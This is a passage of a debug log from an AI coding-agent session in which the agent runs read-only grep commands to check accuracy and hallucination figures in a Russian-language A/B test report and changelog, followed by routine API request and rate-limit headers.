\\\"43.1\\\\|47.7\\\\|37.8\\\" docs/report/2026-09-01-run-0065-vs-0066-ab-rca.md | head -8 | cut -c1-300; cd /tmp/gh-issue-solver-1790667776920/projects/ba-ai-process/ba-meta-model; grep -rn \\\"42\\\" 00-introduction.md 20-taxonomy.md | cut -c1-250 | head -5; grep -c \\\"capability\\\" product-taxonomy/mango-products.yaml; grep -n \\\"\u041f\u0440\u043e\u043c\u043f\u0442+\u0434\u043b\u044f\\\\|1027\\\\|\u043e\u0442\u043a\u0430\u0442\\\\|v0.1\\\" /tmp/mango_ba_prompts/CHANGELOG.md | head -5 | cut -c1-250\",\n[2026-09-29T07:49:53.813Z] [INFO]           \"description\": \"Verify A/B report and capability counts\"\n[2026-09-29T07:49:53.813Z] [INFO]         },\n[2026-09-29T07:49:53.813Z] [INFO]         \"caller\": {\n[2026-09-29T07:49:53.813Z] [INFO]           \"type\": \"direct\"\n[2026-09-29T07:49:53.813Z] [INFO]         }\n[2026-09-29T07:49:53.813Z] [INFO]       }\n[2026-09-29T07:49:53.813Z] [INFO]     ],\n[2026-09-29T07:49:53.813Z] [INFO]     \"container\": null,\n[2026-09-29T07:49:53.813Z] [INFO]     \"stop_reason\": null,\n[2026-09-29T07:49:53.813Z] [INFO]     \"stop_sequence\": null,\n[2026-09-29T07:49:53.813Z] [INFO]     \"stop_details\": null,\n[2026-09-29T07:49:53.813Z] [INFO]     \"usage\": {\n[2026-09-29T07:49:53.813Z] [INFO]       \"input_tokens\": 2,\n[2026-09-29T07:49:53.813Z] [INFO]       \"cache_creation_input_tokens\": 1638,\n[2026-09-29T07:49:53.813Z] [INFO]       \"cache_read_input_tokens\": 79588,\n[2026-09-29T07:49:53.813Z] [INFO]       \"cache_creation\": {\n[2026-09-29T07:49:53.813Z] [INFO]         \"ephemeral_5m_input_tokens\": 0,\n[2026-09-29T07:49:53.813Z] [INFO]         \"ephemeral_1h_input_tokens\": 1638\n[2026-09-29T07:49:53.813Z] [INFO]       },\n[2026-09-29T07:49:53.813Z] [INFO]       \"output_tokens\": 3,\n[2026-09-29T07:49:53.813Z] [INFO]       \"service_tier\": \"standard\",\n[2026-09-29T07:49:53.813Z] [INFO]       \"inference_geo\": \"not_available\"\n[2026-09-29T07:49:53.813Z] [INFO]     },\n[2026-09-29T07:49:53.813Z] [INFO]     \"input_transformations\": [],\n[2026-09-29T07:49:53.813Z] [INFO]     \"diagnostics\": null,\n[2026-09-29T07:49:53.813Z] [INFO]     \"context_management\": null\n[2026-09-29T07:49:53.813Z] [INFO]   },\n[2026-09-29T07:49:53.813Z] [INFO]   \"parent_tool_use_id\": null,\n[2026-09-29T07:49:53.813Z] [INFO]   \"session_id\": \"f0ddf6ec-4316-44b3-b0ba-14367918e3de\",\n[2026-09-29T07:49:53.813Z] [INFO]   \"uuid\": \"845d0d22-8e34-489e-a6e3-9f3f6df48cdb\",\n[2026-09-29T07:49:53.813Z] [INFO]   \"timestamp\": \"2026-09-29T07:49:53.803Z\",\n[2026-09-29T07:49:53.813Z] [INFO]   \"request_id\": \"req_011CfXN6H6CNhWC8eddKzUm2\",\n[2026-09-29T07:49:53.813Z] [INFO]   \"wire_tool_inputs\": {\n[2026-09-29T07:49:53.813Z] [INFO]     \"toolu_019cNsjfHESvnjT4pziFC9Kw\": {\n[2026-09-29T07:49:53.813Z] [INFO]       \"command\": \"cd /tmp/mango_ba_prompts; ls docs/report | grep -i \\\"0065\\\\|rca\\\"; grep -n \\\"43.1\\\\|47.7\\\\|37.8\\\" docs/report/2026-09-01-run-0065-vs-0066-ab-rca.md | head -8 | cut -c1-300; cd /tmp/gh-issue-solver-1790667776920/projects/ba-ai-process/ba-meta-model; grep -rn \\\"42\\\" 00-introduction.md 20-taxonomy.md | cut -c1-250 | head -5; grep -c \\\"capability\\\" product-taxonomy/mango-products.yaml; grep -n \\\"\u041f\u0440\u043e\u043c\u043f\u0442+\u0434\u043b\u044f\\\\|1027\\\\|\u043e\u0442\u043a\u0430\u0442\\\\|v0.1\\\" /tmp/mango_ba_prompts/CHANGELOG.md | head -5 | cut -c1-250\",\n[2026-09-29T07:49:53.813Z] [INFO]       \"description\": \"Verify A/B report and capability counts\"\n[2026-09-29T07:49:53.813Z] [INFO]     }\n[2026-09-29T07:49:53.813Z] [INFO]   }\n[2026-09-29T07:49:53.813Z] [INFO] }\n[2026-09-29T07:49:55.012Z] [INFO] {\n[2026-09-29T07:49:55.012Z] [INFO]   \"type\": \"user\",\n[2026-09-29T07:49:55.012Z] [INFO]   \"message\": {\n[2026-09-29T07:49:55.012Z] [INFO]     \"role\": \"user\",\n[2026-09-29T07:49:55.012Z] [INFO]     \"content\": [\n[2026-09-29T07:49:55.012Z] [INFO]       {\n[2026-09-29T07:49:55.012Z] [INFO]         \"tool_use_id\": \"toolu_019cNsjfHESvnjT4pziFC9Kw\",\n[2026-09-29T07:49:55.012Z] [INFO]         \"type\": \"tool_result\",\n[2026-09-29T07:49:55.012Z] [INFO]         \"content\": \"2026-09-01-run-0065-vs-0066-ab-rca.md\\n26:47.7% \u0441\u043b\u0443\u0447\u0430\u0435\u0432 \u0438 \u0434\u0430\u043b \u0433\u0430\u043b\u043b\u044e\u0446\u0438\u043d\u0438\u0440\u043e\u0432\u0430\u043d\u043d\u0443\u044e\\n27:\u043f\u0430\u0433\u0438\u043d\u0430\u0446\u0438\u044e (\u0394 > 2) \u0432 43.1% \u0441\u0442\u0440\u043e\u043a. RUN-0066\\n74:| `Accuracy_verdict` | 31/65 = 47.7% | 65/65 = 100.0% |\\n75:| `Accuracy_page` (eligible rows, \u0434\u043e\u043f\u0443\u0441\u043a \u22642) | 17/45 = 37.8% | 64/64 = 100.0% |\\n76:| `Hallucination_rate` (\u0394 >2 / \u0432\u0441\u0435 \u0441\u0442\u0440\u043e\u043a\u0438) | 28/65 = 43.1% | 0/65 = 0.0% |\\n0\\n685:  v0.1 \u043d\u0430 \u043a\u0435\u0439\u0441\u0435 1064 (\u0431\u0440\u0430\u0443\u0437\u0435\u0440\u043d\u0430\u044f \u0442\u0435\u043b\u0435\u0444\u043e\u043d\u0438\u044f \u0432\u043d\u0443\u0442\u0440\u0438 \u041c\u0418\u0421 \u0417\u0430\u043a\u0430\u0437\u0447\u0438\u043a\u0430):\\n1146:  \u0432 `standards/runs-contract-standard.md` v0.1 \u043d\u0435\u0442 \u043d\u0438 \u0442\u0438\u043f\u0430 \u043f\u0440\u043e\u0433\u043e\u043d\u0430, \u043d\u0438 \u0440\u0430\u0437\u0434\u0435\u043b\u0435\u043d\u0438\u044f\\n1667:### Added \u2014 Issue #101 \u0440\u0430\u0437\u0431\u043e\u0440 \u044d\u043a\u0441\u043f\u0435\u0440\u0438\u043c\u0435\u043d\u0442\u0430 \u00ab\u0417\u0430\u0434\u0430\u0447\u0430 1027\u00bb \u0438 \u0441\u0442\u0430\u043d\u0434\u0430\u0440\u0442 \u0444\u0438\u043a\u0441\u0430\u0446\u0438\u0438 \u044d\u043a\u0441\u043f\u0435\u0440\u0438\u043c\u0435\u043d\u0442\u043e\u0432\\n1670:  [`docs/analysis/experiment-1027-analysis.md`](docs/analysis/experiment-1027-analysis.md):\\n1675:- \u0414\u043e\u0431\u0430\u0432\u043b\u0435\u043d \u043b\u0435\u0433\u043a\u043e\u0432\u0435\u0441\u043d\u044b\u0439 \u0441\u0442\u0430\u043d\u0434\u0430\u0440\u0442 \u0444\u0438\u043a\u0441\u0430\u0446\u0438\u0438 \u044d\u043a\u0441\u043f\u0435\u0440\u0438\u043c\u0435\u043d\u0442\u043e\u0432 (Draft v0.1)\",\n[2026-09-29T07:49:55.012Z] [INFO]         \"is_error\": false\n[2026-09-29T07:49:55.012Z] [INFO]       }\n[2026-09-29T07:49:55.012Z] [INFO]     ]\n[2026-09-29T07:49:55.012Z] [INFO]   },\n[2026-09-29T07:49:55.012Z] [INFO]   \"parent_tool_use_id\": null,\n[2026-09-29T07:49:55.012Z] [INFO]   \"session_id\": \"f0ddf6ec-4316-44b3-b0ba-14367918e3de\",\n[2026-09-29T07:49:55.012Z] [INFO]   \"uuid\": \"cb6e974f-6012-4463-8500-3f51a48bce20\",\n[2026-09-29T07:49:55.012Z] [INFO]   \"timestamp\": \"2026-09-29T07:49:55.000Z\",\n[2026-09-29T07:49:55.012Z] [INFO]   \"tool_use_result\": {\n[2026-09-29T07:49:55.012Z] [INFO]     \"stdout\": \"2026-09-01-run-0065-vs-0066-ab-rca.md\\n26:47.7% \u0441\u043b\u0443\u0447\u0430\u0435\u0432 \u0438 \u0434\u0430\u043b \u0433\u0430\u043b\u043b\u044e\u0446\u0438\u043d\u0438\u0440\u043e\u0432\u0430\u043d\u043d\u0443\u044e\\n27:\u043f\u0430\u0433\u0438\u043d\u0430\u0446\u0438\u044e (\u0394 > 2) \u0432 43.1% \u0441\u0442\u0440\u043e\u043a. RUN-0066\\n74:| `Accuracy_verdict` | 31/65 = 47.7% | 65/65 = 100.0% |\\n75:| `Accuracy_page` (eligible rows, \u0434\u043e\u043f\u0443\u0441\u043a \u22642) | 17/45 = 37.8% | 64/64 = 100.0% |\\n76:| `Hallucination_rate` (\u0394 >2 / \u0432\u0441\u0435 \u0441\u0442\u0440\u043e\u043a\u0438) | 28/65 = 43.1% | 0/65 = 0.0% |\\n0\\n685:  v0.1 \u043d\u0430 \u043a\u0435\u0439\u0441\u0435 1064 (\u0431\u0440\u0430\u0443\u0437\u0435\u0440\u043d\u0430\u044f \u0442\u0435\u043b\u0435\u0444\u043e\u043d\u0438\u044f \u0432\u043d\u0443\u0442\u0440\u0438 \u041c\u0418\u0421 \u0417\u0430\u043a\u0430\u0437\u0447\u0438\u043a\u0430):\\n1146:  \u0432 `standards/runs-contract-standard.md` v0.1 \u043d\u0435\u0442 \u043d\u0438 \u0442\u0438\u043f\u0430 \u043f\u0440\u043e\u0433\u043e\u043d\u0430, \u043d\u0438 \u0440\u0430\u0437\u0434\u0435\u043b\u0435\u043d\u0438\u044f\\n1667:### Added \u2014 Issue #101 \u0440\u0430\u0437\u0431\u043e\u0440 \u044d\u043a\u0441\u043f\u0435\u0440\u0438\u043c\u0435\u043d\u0442\u0430 \u00ab\u0417\u0430\u0434\u0430\u0447\u0430 1027\u00bb \u0438 \u0441\u0442\u0430\u043d\u0434\u0430\u0440\u0442 \u0444\u0438\u043a\u0441\u0430\u0446\u0438\u0438 \u044d\u043a\u0441\u043f\u0435\u0440\u0438\u043c\u0435\u043d\u0442\u043e\u0432\\n1670:  [`docs/analysis/experiment-1027-analysis.md`](docs/analysis/experiment-1027-analysis.md):\\n1675:- \u0414\u043e\u0431\u0430\u0432\u043b\u0435\u043d \u043b\u0435\u0433\u043a\u043e\u0432\u0435\u0441\u043d\u044b\u0439 \u0441\u0442\u0430\u043d\u0434\u0430\u0440\u0442 \u0444\u0438\u043a\u0441\u0430\u0446\u0438\u0438 \u044d\u043a\u0441\u043f\u0435\u0440\u0438\u043c\u0435\u043d\u0442\u043e\u0432 (Draft v0.1)\",\n[2026-09-29T07:49:55.012Z] [INFO]     \"stderr\": \"\",\n[2026-09-29T07:49:55.012Z] [INFO]     \"interrupted\": false,\n[2026-09-29T07:49:55.012Z] [INFO]     \"isImage\": false,\n[2026-09-29T07:49:55.012Z] [INFO]     \"noOutputExpected\": false\n[2026-09-29T07:49:55.012Z] [INFO]   }\n[2026-09-29T07:49:55.012Z] [INFO] }\n[2026-09-29T07:49:55.083Z] [STDOUT] [log_8e0329] sending request {\n[2026-09-29T07:49:55.088Z] [STDOUT]   method: \"POST\",\n[2026-09-29T07:49:55.093Z] [STDOUT]   url: \"https://api.anthropic.com/v1/messages?beta=true\",\n[2026-09-29T07:49:55.102Z] [STDOUT]   options: {\n[2026-09-29T07:49:55.109Z] [STDOUT]     method: \"post\",\n[2026-09-29T07:49:55.113Z] [STDOUT]     path: \"/v1/messages?beta=true\",\n[2026-09-29T07:49:55.116Z] [STDOUT]     body: {\n[2026-09-29T07:49:55.119Z] [STDOUT]       model: \"claude-opus-5-5\",\n[2026-09-29T07:49:55.122Z] [STDOUT]       messages: [Array ...],\n[2026-09-29T07:49:55.126Z] [STDOUT]       system: [Array ...],\n[2026-09-29T07:49:55.135Z] [STDOUT]       tool_choice: undefined,\n[2026-09-29T07:49:55.139Z] [STDOUT]       metadata: [Object ...],\n[2026-09-29T07:49:55.142Z] [STDOUT]       max_tokens: 128000,\n[2026-09-29T07:49:55.145Z] [STDOUT]       thinking: [Object ...],\n[2026-09-29T07:49:55.153Z] [STDOUT]       context_management: [Object ...],\n[2026-09-29T07:49:55.158Z] [STDOUT]       output_config: [Object ...],\n[2026-09-29T07:49:55.162Z] [STDOUT]       thread: [Object ...],\n[2026-09-29T07:49:55.165Z] [STDOUT]       diagnostics: [Object ...],\n[2026-09-29T07:49:55.169Z] [STDOUT]       stream: true,\n[2026-09-29T07:49:55.171Z] [STDOUT]     },\n[2026-09-29T07:49:55.175Z] [STDOUT]     timeout: 600000,\n[2026-09-29T07:49:55.180Z] [STDOUT]     signal: AbortSignal {\n[2026-09-29T07:49:55.182Z] [STDOUT]       aborted: false,\n[2026-09-29T07:49:55.184Z] [STDOUT]       reason: undefined,\n[2026-09-29T07:49:55.187Z] [STDOUT]       onabort: null,\n[2026-09-29T07:49:55.190Z] [STDOUT]       throwIfAborted: [Function: throwIfAborted],\n[2026-09-29T07:49:55.193Z] [STDOUT]       addEventListener: [Function: addEventListener],\n[2026-09-29T07:49:55.196Z] [STDOUT]       removeEventListener: [Function: removeEventListener],\n[2026-09-29T07:49:55.198Z] [STDOUT]       dispatchEvent: [Function: dispatchEvent],\n[2026-09-29T07:49:55.202Z] [STDOUT]     },\n[2026-09-29T07:49:55.206Z] [STDOUT]     stream: true,\n[2026-09-29T07:49:55.208Z] [STDOUT]   },\n[2026-09-29T07:49:55.214Z] [STDOUT]   headers: {\n[2026-09-29T07:49:55.223Z] [STDOUT]     accept: \"application/json\",\n[2026-09-29T07:49:55.229Z] [STDOUT]     \"anthropic-beta\": \"claude-code-20250219,oauth-2025-04-20,interleaved-thinking-2025-05-14,thinking-token-count-2026-05-13,context-management-2025-06-27,prompt-caching-scope-2026-01-05,mid-conversation-system-2026-04-07,per-turn-control-2026-07-01,mid-conversation-tool-changes-2026-07-01,advisor-tool-2026-03-01,advanced-tool-use-2025-11-20,mid-conversation-system-clear-at-2026-08-21,effort-2025-11-24,thinking-binding-controls-2026-08-01,thinking-display-updates-2026-08-18,extended-cache-ttl-2025-04-11,cache-diagnosis-2026-04-07,message-threads-2026-08-12\",\n[2026-09-29T07:49:55.251Z] [STDOUT]     \"anthropic-dangerous-direct-browser-access\": \"true\",\n[2026-09-29T07:49:55.257Z] [STDOUT]     \"anthropic-dispatch-id\": \"v2d\",\n[2026-09-29T07:49:55.259Z] [STDOUT]     \"anthropic-version\": \"2023-06-01\",\n[2026-09-29T07:49:55.265Z] [STDOUT]     authorization: \"[REDACTED]\",\n[2026-09-29T07:49:55.271Z] [STDOUT]     \"content-type\": \"application/json\",\n[2026-09-29T07:49:55.273Z] [STDOUT]     \"user-agent\": \"claude-cli/2.1.284 (external, sdk-cli)\",\n[2026-09-29T07:49:55.275Z] [STDOUT]     \"x-app\": \"cli\",\n[2026-09-29T07:49:55.279Z] [STDOUT]     \"x-claude-code-prev-tool-durations\": \"Bash=1143\",\n[2026-09-29T07:49:55.281Z] [STDOUT]     \"x-claude-code-prompt-id\": \"0c6b6133-0ba4-48fe-8f91-a84541ac33b7\",\n[2026-09-29T07:49:55.283Z] [STDOUT]     \"x-claude-code-request-class\": \"main\",\n[2026-09-29T07:49:55.285Z] [STDOUT]     \"x-claude-code-session-id\": \"f0ddf6ec-4316-44b3-b0ba-14367918e3de\",\n[2026-09-29T07:49:55.287Z] [STDOUT]     \"x-client-request-id\": \"a4531bc7-d693-48bd-a058-fbf9024ef3d2\",\n[2026-09-29T07:49:55.289Z] [STDOUT]     \"x-stainless-arch\": \"x64\",\n[2026-09-29T07:49:55.291Z] [STDOUT]     \"x-stainless-lang\": \"js\",\n[2026-09-29T07:49:55.293Z] [STDOUT]     \"x-stainless-os\": \"Linux\",\n[2026-09-29T07:49:55.295Z] [STDOUT]     \"x-stainless-package-version\": \"0.112.1\",\n[2026-09-29T07:49:55.297Z] [STDOUT]     \"x-stainless-retry-count\": \"0\",\n[2026-09-29T07:49:55.299Z] [STDOUT]     \"x-stainless-runtime\": \"node\",\n[2026-09-29T07:49:55.300Z] [STDOUT]     \"x-stainless-runtime-version\": \"v26.3.0\",\n[2026-09-29T07:49:55.303Z] [STDOUT]     \"x-stainless-timeout\": \"600\",\n[2026-09-29T07:49:55.306Z] [STDOUT]   },\n[2026-09-29T07:49:55.309Z] [STDOUT] }\n[2026-09-29T07:49:55.926Z] [STDOUT] [log_8e0329, request-id: \"req_011CfXN6gZ6AdVcSqwCUZPMz\"] post https://api.anthropic.com/v1/messages?beta=true succeeded with status 200 in 843ms\n[2026-09-29T07:49:55.931Z] [STDOUT] [log_8e0329] response start {\n[2026-09-29T07:49:55.935Z] [STDOUT]   url: \"https://api.anthropic.com/v1/messages?beta=true\",\n[2026-09-29T07:49:55.940Z] [STDOUT]   status: 200,\n[2026-09-29T07:49:55.944Z] [STDOUT]   headers: {\n[2026-09-29T07:49:55.948Z] [STDOUT]     \"anthropic-organization-id\": \"ebc2ac93-f86f-4d15-aff3-de8830d8d789\",\n[2026-09-29T07:49:55.958Z] [STDOUT]     \"anthropic-ratelimit-unified-5h-reset\": \"1790678400\",\n[2026-09-29T07:49:55.966Z] [STDOUT]     \"anthropic-ratelimit-unified-5h-status\": \"allowed\",\n[2026-09-29T07:49:55.980Z] [STDOUT]     \"anthropic-ratelimit-unified-5h-utilization\": \"0.38\",\n[2026-09-29T07:49:55.985Z] [STDOUT]     \"anthropic-ratelimit-unified-7d-reset\": \"1790679600\",\n[2026-09-29T07:49:55.990Z] [STDOUT]     \"anthropic-ratelimit-unified-7d-status\": \"allowed_warning\",\n[2026-09-29T07:49:55.997Z] [STDOUT]     \"anthropic-ratelimit-unified-7d-surpassed-threshold\": \"0.75\",\n[2026-09-29T07:49:56.001Z] [STDOUT]     \"anthropic-ratelimit-unified-7d-utilization\": \"0.77\",\n[2026-09-29T07:49:56.007Z] [STDOUT]     \"anthropic-ratelimit-unified-fallback-percentage\": \"0.5\",\n[2026-09-29T07:49:56.010Z] [STDOUT]     \"anthropic-ratelimit-unified-overage-disabled-reason\": \"org_level_disabled\",\n[2026-09-29T07:49:56.014Z] [STDOUT]     \"anthropic-ratelimit-unified-overage-status\": \"rejected\",\n[2026-09-29T07:49:56.018Z] [STDOUT]     \"anthropic-ratelimit-unified-representative-claim\": \"seven_day\",\n[2026-09-29T07:49:56.023Z] [STDOUT]     \"anthropic-ratelimit-unified-reset\": \"1790679600\",\n[2026-09-29T07:49:56.026Z] [STDOUT]     \"anthropic-ratelimit-unified-status\": \"allowed_warning\",\n[2026-09-29T07:49:56.029Z] [STDOUT]     \"anthropic-workspace-id\": \"wrkspc_0117gBnPr68DBsCrmom3Bxq6\",\n[2026-09-29T07:49:56.032Z] [STDOUT]     \"cache-control\": \"no-cache\",\n[2026-09-29T07:49:56.040Z] [STDOUT]     \"cf-cache-status\": \"DYNAMIC\",\n[2026-09-29T07:49:56.043Z] [STDOUT]     \"cf-ray\": \"a42964db4e1829ad-FRA\",\n[2026-09-29T07:49:56.047Z] [STDOUT]     connection: \"keep-alive\",\n[2026-09-29T07:49:56.054Z] [STDOUT]     \"content-encoding\": \"gzip\",\n[2026-09-29T07:49:56.059Z] [STDOUT]     \"content-security-policy\": \"default-src 'none'; frame-ancestors 'none'\",\n[2026-09-29T07:49:56.064Z] [STDOUT]     \"content-type\": \"text/event-stream; charset=utf-8\",\n[2026-09-29T07:49:56.068Z] [STDOUT]     date: \"Tue, 29 Sep 2026 07:49:55 GMT\",\n[2026-09-29T07:49:56.072Z] [STDOUT]     \"request-id\": \"req_011CfXN6gZ6AdVcSqwCUZPMz\",\n[2026-09-29T07:49:56.075Z] [STDOUT]     server: \"cloudflare\",\n[2026-09-29T07:49:56.081Z] [STDOUT]     \"strict-transport-security\": \"max-age=31536000; includeSubDomains; preload\",\n[2026-09-29T07:49:56.087Z] [STDOUT]     traceresponse: \"00-791cb2300e80f605d1973ffc558a7df6-e8fed145f8bd20c3-01\",\n[2026-09-29T07:49:56.091Z] [STDOUT]     \"transfer-encoding\": \"chunked\",\n[2026-09-29T07:49:56.098Z] [STDOUT]     vary: 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{\n[2026-09-29T07:49:59.529Z] [STDOUT]       aborted: false,\n[2026-09-29T07:49:59.533Z] [STDOUT]       reason: undefined,\n[2026-09-29T07:49:59.543Z] [STDOUT]       onabort: null,\n[2026-09-29T07:49:59.550Z] [STDOUT]       throwIfAborted: [Function: throwIfAborted],\n[2026-09-29T07:49:59.553Z] [STDOUT]       addEventListener: [Function: addEventListener],\n[2026-09-29T07:49:59.557Z] [STDOUT]       removeEventListener: [Function: removeEventListener],\n[2026-09-29T07:49:59.559Z] [STDOUT]       dispatchEvent: [Function: dispatchEvent],\n[2026-09-29T07:49:59.561Z] [STDOUT]     },\n[2026-09-29T07:49:59.564Z] [STDOUT]     stream: true,\n[2026-09-29T07:49:59.567Z] [STDOUT]   },\n[2026-09-29T07:49:59.571Z] [STDOUT]   headers: {\n[2026-09-29T07:49:59.577Z] [STDOUT]     accept: \"application/json\",\n[2026-09-29T07:49:59.580Z] [STDOUT]     \"anthropic-beta\": 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\"user-agent\": \"claude-cli/2.1.284 (external, sdk-cli)\",\n[2026-09-29T07:49:59.607Z] [STDOUT]     \"x-app\": \"cli\",\n[2026-09-29T07:49:59.613Z] [STDOUT]     \"x-claude-code-prev-tool-durations\": \"Bash=1750\",\n[2026-09-29T07:49:59.619Z] [STDOUT]     \"x-claude-code-prompt-id\": \"0c6b6133-0ba4-48fe-8f91-a84541ac33b7\",\n[2026-09-29T07:49:59.628Z] [STDOUT]     \"x-claude-code-request-class\": \"main\",\n[2026-09-29T07:49:59.647Z] [STDOUT]     \"x-claude-code-session-id\": \"f0ddf6ec-4316-44b3-b0ba-14367918e3de\",\n[2026-09-29T07:49:59.652Z] [STDOUT]     \"x-client-request-id\": \"28a9a227-e7eb-4762-8811-f0c03d76081d\",\n[2026-09-29T07:49:59.655Z] [STDOUT]     \"x-stainless-arch\": \"x64\",\n[2026-09-29T07:49:59.660Z] [STDOUT]     \"x-stainless-lang\": \"js\",\n[2026-09-29T07:49:59.662Z] [STDOUT]     \"x-stainless-os\": \"Linux\",\n[2026-09-29T07:49:59.669Z] [STDOUT]     \"x-stainless-package-version\": \"0.112.1\",\n[2026-09-29T07:49:59.673Z] [STDOUT]     \"x-stainless-retry-count\": \"0\",\n[2026-09-29T07:49:59.676Z] [STDOUT]     \"x-stainless-runtime\": \"node\",\n[2026-09-29T07:49:59.682Z] [STDOUT]     \"x-stainless-runtime-version\": \"v26.3.0\",\n[2026-09-29T07:49:59.686Z] [STDOUT]     \"x-stainless-timeout\": \"600\",\n[2026-09-29T07:49:59.699Z] [STDOUT]   },\n[2026-09-29T07:49:59.705Z] [STDOUT] }\n[2026-09-29T07:50:00.509Z] [STDOUT] [log_25bb32, request-id: \"req_011CfXN71BmQwYcK2mXwVuw4\"] post https://api.anthropic.com/v1/messages?beta=true succeeded with status 200 in 1062ms\n[2026-09-29T07:50:00.519Z] [STDOUT] [log_25bb32] response start {\n[2026-09-29T07:50:00.554Z] [STDOUT]   url: \"https://api.anthropic.com/v1/messages?beta=true\",\n[2026-09-29T07:50:00.562Z] [STDOUT]   status: 200,\n[2026-09-29T07:50:00.570Z] [STDOUT]   headers: {\n[2026-09-29T07:50:00.598Z] [STDOUT]     \"anthropic-organization-id\": \"ebc2ac93-f86f-4d15-aff3-de8830d8d789\",\n[2026-09-29T07:50:00.605Z] [STDOUT]     \"anthropic-ratelimit-unified-5h-reset\": \"1790678400\",\n[2026-09-29T07:50:00.611Z] [STDOUT]     \"anthropic-ratelimit-unified-5h-status\": \"allowed\",\n[2026-09-29T07:50:00.625Z] [STDOUT]     \"anthropic-ratelimit-unified-5h-utilization\": \"0.38\",\n[2026-09-29T07:50:00.671Z] [STDOUT]     \"anthropic-ratelimit-unified-7d-reset\": \"1790679600\",\n[2026-09-29T07:50:00.685Z] [STDOUT]     \"anthropic-ratelimit-unified-7d-status\": \"allowed_warning\",\n[2026-09-29T07:50:00.692Z] [STDOUT]     \"anthropic-ratelimit-unified-7d-surpassed-threshold\": \"0.75\",\n[2026-09-29T07:50:00.713Z] [STDOUT]     \"anthropic-ratelimit-unified-7d-utilization\": \"0.77\",\n[2026-09-29T07:50:00.767Z] [STDOUT]     \"anthropic-ratelimit-unified-fallback-percentage\": \"0.5\",\n[2026-09-29T07:50:00.770Z] [STDOUT]     \"anthropic-ratelimit-unified-overage-disabled-reason\": \"org_level_disabled\",\n[2026-09-29T07:50:00.778Z] [STDOUT]     \"anthropic-ratelimit-unified-overage-status\": \"rejected\",\n[2026-09-29T07:50:00.780Z] [STDOUT]     \"anthropic-ratelimit-unified-representative-claim\": \"seven_day\",\n[2026-09-29T07:50:00.786Z] [STDOUT]     \"anthropic-ratelimit-unified-reset\": \"1790679600\",\n[2026-09-29T07:50:00.791Z] [STDOUT]     \"anthropic-ratelimit-unified-status\": \"allowed_warning\",\n[2026-09-29T07:50:00.797Z] [STDOUT]     \"anthropic-workspace-id\": \"wrkspc_0117gBnPr68DBsCrmom3Bxq6\",\n[2026-09-29T07:50:00.799Z] [STDOUT]     \"cache-control\": \"no-cache\",\n[2026-09-29T07:50:00.801Z] [STDOUT]     \"cf-cache-status\": \"DYNAMIC\",\n[2026-09-29T07:50:00.803Z] [STDOUT]     \"cf-ray\": \"a42964f69a7129ad-FRA\",\n[2026-09-29T07:50:00.808Z] [STDOUT]     connection: \"keep-alive\",\n[2026-09-29T07:50:00.812Z] [STDOUT]     \"content-encoding\": \"gzip\",\n[2026-09-29T07:50:00.817Z] [STDOUT]     \"content-security-policy\": \"default-src 'none'; frame-ancestors 'none'\",\n[2026-09-29T07:50:00.821Z] [STDOUT]     \"content-type\": \"text/event-stream; charset=utf-8\",\n[2026-09-29T07:50:00.828Z] [STDOUT]     date: \"Tue, 29 Sep 2026 07:50:00 GMT\",\n[2026-09-29T07:50:00.831Z] [STDOUT]     \"request-id\": \"req_011CfXN71BmQwYcK2mXwVuw4\",\n[2026-09-29T07:50:00.836Z] [STDOUT]     server: \"cloudflare\",\n[2026-09-29T07:50:00.839Z] [STDOUT]     \"strict-transport-security\": \"max-age=31536000; includeSubDomains; preload\",\n[2026-09-29T07:50:00.844Z] [STDOUT]     traceresponse: \"00-55eb8c113ed3957a76de85a511d27850-8e4391d0bad6e29f-01\",\n[2026-09-29T07:50:00.853Z] [STDOUT]     \"transfer-encoding\": \"chunked\",\n[2026-09-29T07:50:00.857Z] [STDOUT]     vary: \"Accept-Encoding\",\n[2026-09-29T07:50:00.860Z] [STDOUT]     \"x-robots-tag\": \"none\",\n[2026-09-29T07:50:00.863Z] [STDOUT]   },\n[2026-09-29T07:50:00.865Z] [STDOUT]   durationMs: 1062,\n[2026-09-29T07:50:00.869Z] [STDOUT] }\n[2026-09-29T07:50:00.873Z] [STDOUT] response 200 https://api.anthropic.com/v1/messages?beta=true Headers {\n[2026-09-29T07:50:00.881Z] [STDOUT]   \"date\": \"Tue, 29 Sep 2026 07:50:00 GMT\",\n[2026-09-29T07:50:00.884Z] [STDOUT]   \"content-type\": \"text/event-stream; charset=utf-8\",\n[2026-09-29T07:50:00.886Z] [STDOUT]   \"transfer-encoding\": \"chunked\",\n[2026-09-29T07:50:00.893Z] [STDOUT]   \"connection\": \"keep-alive\",\n[2026-09-29T07:50:00.899Z] [STDOUT]   \"cache-control\": \"no-cache\",\n[2026-09-29T07:50:00.903Z] [STDOUT]   \"strict-transport-security\": \"max-age=31536000; includeSubDomains; preload\",\n[2026-09-29T07:50:00.907Z] [STDOUT]   \"content-encoding\": \"gzip\",\n[2026-09-29T07:50:00.911Z] [STDOUT]   \"vary\": \"Accept-Encoding\",\n[2026-09-29T07:50:00.916Z] [STDOUT]   \"content-security-policy\": \"default-src 'none'; frame-ancestors 'none'\",\n[2026-09-29T07:50:00.921Z] [STDOUT]   \"anthropic-ratelimit-unified-5h-status\": \"allowed\",\n[2026-09-29T07:50:00.925Z] [STDOUT]   \"anthropic-ratelimit-unified-representative-claim\": \"seven_day\",\n[2026-09-29T07:50:00.930Z] [STDOUT]   \"anthropic-ratelimit-unified-overage-status\": \"rejected\",\n[2026-09-29T07:50:00.939Z] [STDOUT]   \"anthropic-ratelimit-unified-reset\": \"1790679600\",\n[2026-09-29T07:50:00.943Z] [STDOUT]   \"anthropic-ratelimit-unified-5h-utilization\": \"0.38\",\n[2026-09-29T07:50:00.946Z] [STDOUT]   \"anthropic-ratelimit-unified-7d-reset\": \"1790679600\",\n[2026-09-29T07:50:00.951Z] [STDOUT]   \"anthropic-ratelimit-unified-5h-reset\": \"1790678400\",\n[2026-09-29T07:50:00.956Z] [STDOUT]   \"anthropic-ratelimit-unified-7d-status\": \"allowed_warning\",\n[2026-09-29T07:50:00.961Z] [STDOUT]   \"anthropic-ratelimit-unified-7d-surpassed-threshold\": \"0.75\",\n[2026-09-29T07:50:00.964Z] [STDOUT]   \"anthropic-ratelimit-unified-fallback-percentage\": \"0.5\",\n[2026-09-29T07:50:00.967Z] [STDOUT]   \"anthropic-ratelimit-unified-overage-disabled-reason\": \"org_level_disabled\",\n[2026-09-29T07:50:00.974Z] [STDOUT]   \"anthropic-ratelimit-unified-7d-utilization\": \"0.77\",\n[2026-09-29T07:50:00.977Z] [STDOUT]   \"anthropic-ratelimit-unified-status\": 